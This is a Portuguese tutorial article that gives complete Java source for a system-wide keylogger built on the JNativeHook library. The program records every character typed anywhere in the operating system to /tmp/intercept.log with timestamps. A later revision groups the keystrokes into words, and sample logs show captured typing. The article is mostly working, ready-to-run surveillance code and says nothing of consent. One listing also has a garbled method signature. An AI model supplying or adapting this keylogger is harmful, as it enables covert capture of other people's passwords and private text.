O projeto consiste na interceptação de tudo que for digitado pelo usuário que está usando o Sistema Operacional. Estes dados serão salvos em um arquivo de texto para posterior análise.

Iniciando o projeto

O primeiro passo é fazer o download do “.jar” da biblioteca JnativeHook e colocá-la no build path do seu projeto. O link do mesmo pode ser encontrado na seção Links ao final do artigo.

Após o download extraia o arquivo zip e acesse a pasta “jar” onde você encontrará o arquivo que deve ser adicionado ao build path do seu projeto: JnativeHook.jar. Feito isto, já podemos começar a estruturar nosso projeto.

Vamos começar criando uma classe responsável por escrever o texto digitado com data e hora, assim podemos fazer uma auditoria posteriormente se desejarmos. Observe a Listagem 1.

Listagem 1. Classe FileUtil


  import java.io.BufferedReader;
  import java.io.BufferedWriter;
  import java.io.File;
  import java.io.FileNotFoundException;
  import java.io.FileReader;
  import java.io.FileWriter;
  import java.io.IOException;
  import java.util.Date;
   
   
  public class FileUtil {
         
         private static final String filePath = "/tmp/intercept.log";
         
         private static String getConteudo(){
               StringBuilder conteudoExistente = new StringBuilder();             
               String linhaAtual;         
               BufferedReader br;
               try {
                      br = new BufferedReader(new FileReader(filePath));
                      while ((linhaAtual = br.readLine()) != null) {
                             conteudoExistente.append(linhaAtual);
                      }
                      
                      return conteudoExistente.toString();
               } catch (FileNotFoundException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
               } catch (IOException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
               }
               return null;
   
               
         }
   
         public static void escreverTexto(String texto){           
               try {
                      
                      File file = new File(filePath);
                      String conteudoAntigo="";
                      if (file.exists()){
                             conteudoAntigo = getConteudo();
                      }else{
                             file.createNewFile();
                      }                                       
                      
                      Date data = new Date();
                      FileWriter filewt = new FileWriter(file);
                      BufferedWriter bw = new BufferedWriter(filewt);
                      String textoComData = data.toString() + " escreveu: " + texto;
                      bw.write(conteudoAntigo + "\n");
                      bw.write(textoComData);
                      bw.close();
               } catch (IOException e) {
                      // TODO Auto-generated catch block
                      e.printStackTrace();
               }
               
         }
         
  }

Logo no início temos a criação de uma variável chamada “filePath” que irá guardar o caminho do arquivo para que possamos usar durante toda classe, assim, nós centralizamos o valor em um só ponto e se desejarmos mudar fica bem mais simples.

Não podemos escrever no arquivo sem saber o que conteúdo que já existia nele. Para isso precisamos criar um método próprio para capturar o conteúdo já existente no arquivo, que no nosso caso é o método private static String getConteudo().

Neste método criamos um StringBuilder que irá armazenar o conteúdo lido do arquivo e uma variável “linhaAtual” que guardará a linha que está sendo lida em determinado momento e, por último, o BufferedReader será o responsável por literalmente realizar a leitura do arquivo, como mostra o código a seguir:


  StringBuilder conteudoExistente = new StringBuilder();             
               String linhaAtual;         
               BufferedReader br;

Usamos o BufferedReader em conjunto com o FileReader para capturar o conteúdo do arquivo passando o filePath, que é o caminho onde nosso arquivo está. Iteramos com o laço while() adicionando sempre no StringBuilder o conteúdo que está sendo lido, como mostra o código a seguir:


br = new BufferedReader(new FileReader(filePath));
while ((linhaAtual = br.readLine()) != null) {
  conteudoExistente.append(linhaAtual);
}

Por fim retornamos o valor do StringBuilder como uma String, que será usada no próximo método que explicaremos.

Depois da definição do getConteudo() podemos começar a criar nosso método para escrever no arquivo. No método public static void escreverTexto(String texto) instanciamos um objeto do tipo File e verificamos se ele existe:


  File file = new File(filePath);
       String conteudoAntigo="";
       if (file.exists()){
          conteudoAntigo = getConteudo();
       }else{
         file.createNewFile();
     }

Se ele existir então capturamos o conteúdo já existente e armazenamos na variável conteudoAntigo, caso contrário, iremos forçar a criação do arquivo. Assim garantimos que não teremos erros mais à frente tentando escrever em um arquivo que não existe ou mesmo sobrescrever o conteúdo do arquivo já existente.

Nas próximas linhas precisamos de mais quatro variáveis:

  • a variável data, que servirá para identificar a data que está sendo escrito o conteúdo no arquivo;
  • a variável FileWriter e a BufferedWriter, que usamos para escrever no arquivo;
  • a variável textoComData, que formata o texto escrito juntamente com a data que ele está sendo escrito.


  Date data = new Date();
                      FileWriter filewt = new FileWriter(file);
                      BufferedWriter bw = new BufferedWriter(filewt);
                      String textoComData = data.toString() + " escreveu: " + texto;

Com todas as variáveis em mãos basta escrever no arquivo o conteúdo desejado e depois fechar o arquivo, como mostra o trecho a seguir:


  bw.write(conteudoAntigo + "\n");
                      bw.write(textoComData);
                      bw.close();

É importante ressaltar que o bloco try-catch é obrigatório nessas operações, por tratar-se de um Checked Exception.

Com isso temos nosso FileUtil criado e pronto para ser usado. Você pode fazer um teste se ele está funcionando, bastando criar uma classe com um método main() que faça a chamada ao FileUtil, como mostra o código da Listagem 2.

Listagem 2. Testando o FileUtil


  public class MainApp {
   
         public static void main(String[] args) {
               
               FileUtil.escreverTexto("opa, estou escrevendo no arquivo");
      }
   
  }
  Provável saída:
  Thu Feb 12 21:56:13 BRT 2015 escreveu: opa, estou escrevendo no arquivo

Se você conseguir visualizar o arquivo “/tmp/intercept.log” com o conteúdo acima significa que está tudo funcionando e já podemos começar a trabalhar com a parte mais fácil, o JnativeHook. O JnativeHook conta com uma interface chamada NativeKeyListener para monitorar os eventos que estão ocorrendo no teclado, assim a biblioteca certifica-se que apenas os métodos que estão na interface devem ser utilizados, como mostra a Listagem 3.

Listagem 3. Usando NativeKeyListener


  import org.jnativehook.keyboard.NativeKeyEvent;
  import org.jnativehook.keyboard.NativeKeyListener;
   
   
  public class Intercept implements NativeKeyListener {
   
           @Override
           public void nativeKeyPressed(NativeKeyEvent arg0) {
           }
   
           @Override
           public void nativeKeyReleased(NativeKeyEvent arg0) {                    
           }
   
           @Override
           public void nativeKeyTyped(NativeKeyEvent arg0) {
                     FileUtil.escreverTexto(String.valueOf(arg0.getKeyChar()));
           }
   
  }

No código acima nós criamos uma classe chamada Intercept que implementa a interface NativeKeyListener, com três métodos principais:

  • public void nativeKeyPressed(NativeKeyEvent arg0): Este é chamado quando alguma tecla é pressionada, mas não vai nos interessar para este artigo;
  • public void nativeKeyReleased(NativeKeyEvent arg0): Este é chamado quando a tecla que foi pressionada é “liberada”, mas também não nos interessa para este artigo;
  • public void nativeKeyTyped(NativeKeyEvent arg0): Este é o método que precisamos para capturar caracteres digitados no teclado, pois ele é responsável por identificar apenas valores UNICODE enviados do teclado para a entrada do sistema. Nós iremos interceptar este envio para poder escrever em nosso arquivo.

Após nosso interceptador criado nós precisamos inicializar nosso programa para começar o monitoramento, como mostra o código da Listagem 4.

Listagem 4. Iniciando a aplicação de monitoramento


  import org.jnativehook.GlobalScreen;
  import org.jnativehook.NativeHookException;
   
  public class MainApp {
   
         public static void main(String[] args) {
          try {
              GlobalScreen.registerNativeHook();
          }
          catch (NativeHookException ex) {
              System.err.println("Ops, ocorreu um problema ao tentar registrar o NativeHook");
              System.err.println(ex.getMessage());
   
              System.exit(1);
          }
   
          GlobalScreen.getInstance().addNativeKeyListener(new Intercept());
      }
   
  }

Se você procurar no código fonte da biblioteca JnativeHook descobrirá que o método registerNativeHook tem a mesma assinatura a seguir:

public static native void registerNativeHook() throws NativeHookException;

O método registernativehook está sendo implementado em outra linguagem através do JNI (Java Native Interface). Esta pode lançar uma NativeHookException caso as funcionalidades desejadas que estamos tentando usar estejam desabilitadas ou indisponíveis.

Então o método acima aciona a linguagem C que faz comunicação direta com o Sistema Operacional.

Tudo dando certo, sem nenhuma exception, entramos na inicialização do listener dentro da classe GlobalScreen, de acordo com o código a seguir:

GlobalScreen.getInstance().addNativeKeyListener(new Intercept());

O getInstance() deixa explícito que o JnativeHook usa o padrão de projeto Singleton na classe Globalscreen, garantindo assim que apenas uma instância do GlobalScreen existirá em todo contexto da aplicação. O método addNativeKeyListener() adiciona nosso listener Intercept a lista de listeners do GlobalScreen, como mostra a implementação da Listagem 6.

Listagem 6. Método addnativekeylistener


  public void addNativeKeyListener(NativeKeyListener listener) {
               if (listener != null) {
                      eventListeners.add(NativeKeyListener.class, listener);
               }
         }

Caso o listener passado não seja nulo, então ele é adicionado ao objeto eventListeners, que é do tipo EventListenerList. Olhando um pouco mais a fundo temos que a classe EventListenerList possui um array de listeners que, por sua vez, implementa um método add() para adicionar um novo listener a esta lista. Vejamos este método na Listagem 7.

Listagem 7. Método add do EventListenerList


   public synchronized extends EventListener> void add(Class t, T l) {
   if (l==null) {
   // In an ideal world, we would do an assertion here
   // to help developers know they are probably doing
   // something wrong
   return;
   }
   if (!t.isInstance(l)) {
   throw new IllegalArgumentException("Listener " + l +
   " is not of type " + t);
   }
   if (listenerList == NULL_ARRAY) {
   // if this is the first listener added,
   // initialize the lists
   listenerList = new Object[] { t, l };
   } else {
   // Otherwise copy the array and add the new listener
   int i = listenerList.length;
   Object[] tmp = new Object[i+2];
   System.arraycopy(listenerList, 0, tmp, 0, i);
  
   tmp[i] = t;
   tmp[i+1] = l;
  
   listenerList = tmp;
   }
   }

O método add() garante uma série de validações que um add() de um List não seria capaz de garantir, sendo assim, fez-se necessária sua implementação.

Realizando testes

Com toda aplicação pronta podemos começar os testes. Execute a classe MainApp, mostrada na Listagem 4, que irá iniciar o monitoramento dos eventos do teclado e só irá parar quando você der o “stop” no console.

Quando a aplicação for executada você deverá ver a mensagem presente na Listagem 8.

Listagem 8. Log de inicialização do JnativeHook


  JNativeHook: Global keyboard and mouse hooking for Java.
  Copyright (C) 2006-2014 Alexander Barker.  All Rights Received.
  https://github.com/kwhat/jnativehook/
   
  JNativeHook is free software: you can redistribute it and/or modify
  it under the terms of the GNU Lesser General Public License as published
  by the Free Software Foundation, either version 3 of the License, or
  (at your option) any later version.
   
  JNativeHook is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.
   
  You should have received a copy of the GNU Lesser General Public License
  along with this program.  If not, see <http://www.gnu.org/licenses/>.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informações: hook_get_auto_repeat_rate [242]: XkbGetAutoRepeatRate: 30.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informações: hook_get_auto_repeat_delay [288]: XkbGetAutoRepeatRate: 500.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informações: hook_get_pointer_acceleration_multiplier [329]: XGetPointerControl: 1.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informações: hook_get_pointer_acceleration_threshold [351]: XGetPointerControl: 4.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informações: hook_get_pointer_sensitivity [373]: XGetPointerControl: 2.
   
  Fev 14, 2015 1:39:37 PM java.lang.ClassLoader$NativeLibrary load
  Informações: hook_get_multi_click_time [400]: XtGetMultiClickTime: 200.
   
  Fev 14, 2015 1:39:37 PM org.jnativehook.GlobalScreen loadNativeLibrary
  Informações: Library extracted successfully: /tmp/libJNativeHook-1.2.0-RC4.so (0x8EA01AC346195138E8FBE3A18F4B7CACDF307485).
   
  Fev 14, 2015 1:39:37 PM org.jnativehook.GlobalScreen registerNativeHook
  Informações: hook_enable [296]: XRecord version: 1.13.
   
  Fev 14, 2015 1:39:37 PM org.jnativehook
  Informações: get_event_timestamp [128]: Resynchronizing event clock. (1423909510127)

O log acima descreve a inicialização da biblioteca JnativeHook em nível de sistema operacional, veja que ele está apontando para o “.so” libJNativeHook-1.2.0-RC4.so carregado no diretório “/tmp”. É importante entendermos que as chamadas e eventos de monitoramento são feitas a partir do SO e não da aplicação em Java. A aplicação em Java declara um método native que usa recursos da linguagem C.

Após algumas poucas digitações no teclado veja na Listagem 9 como ficou nosso arquivo intercept.log.

Listagem 9. Intercept.log


  Sat Feb 14 11:55:08 BRT 2015 escreveu: t
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: a
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: i
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: l
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu:
   
  Sat Feb 14 11:55:08 BRT 2015 escreveu: )
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu: f
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu:
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu: i
   
  Sat Feb 14 11:55:09 BRT 2015 escreveu: n
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: r
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: o
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: n
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: a
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: l
   
  Sat Feb 14 11:55:11 BRT 2015 escreveu: d
   
  Sat Feb 14 11:55:12 BRT 2015 escreveu: o
   
  Sat Feb 14 11:55:13 BRT 2015 escreveu: c

Você deve ter percebido que ficou um pouco difícil de tender o que foi digitado, já que a cada caractere está sendo gerado um novo log. Com mais algumas linhas de código conseguimos resolver o problema em partes. Podemos seguir a linha de raciocínio: Quando o usuário apertar a tecla de espaço (Space Bar) então partimos do princípio que uma nova palavra será digitada, sendo assim, só criamos uma nova linha no log quando a barra de espaço for acionada.

Mudamos então apenas a classe Intercept, como mostra a Listagem 10.

Listagem 10. Mudança na classe Intercept


  private StringBuilder str = new StringBuilder();
  …
   
  @Override
         public void nativeKeyTyped(NativeKeyEvent arg0) {
               if (Character.isWhitespace(arg0.getKeyChar())){                    
                      FileUtil.escreverTexto(str.toString());
                      str.delete(0, str.length());
               }else{
                      str.append(arg0.getKeyChar());
               }
         }

Criamos uma variável str do tipo StringBuilder que irá concatenar o valor digitado até que uma nova palavra surja. Dentro do nativeKeyTyped checamos se o que foi digitado é um espaço em branco, caso positivo, então escrever no intercept.log o conteúdo da variável “str” e limpamos ela; caso contrário, iremos apenas adicionar o valor a variável “str”.

Veja como ficou nossa nova saída do intercept.log na Listagem 11.

Listagem 11. intercept.log depois da alteração


  Sat Feb 14 13:55:00 BRT 2015 escreveu: ronaldo
   
  Sat Feb 14 13:55:03 BRT 2015 escreveu: lanhellas

Ótimo, agora podemos identificar de forma simples o que está sendo digitado.

Como visto durante todo o artigo, mostramos como criar uma aplicação para monitorar o que está sendo digitado fora do contexto da sua aplicação e para isso precisamos utilizar bibliotecas que fazem comunicação direta com o Sistema Operacional (arquivos .so). Vimos na última seção que nosso projeto ainda tem algumas falhas como a identificação e identação correta das palavras e frases no intercept.log. Para isso, você pode usar o que já foi mostrado sobre o WhiteSpace e incrementar com o ENTER, BACKSPACE e até Data para ver o tempo de digitação do usuário.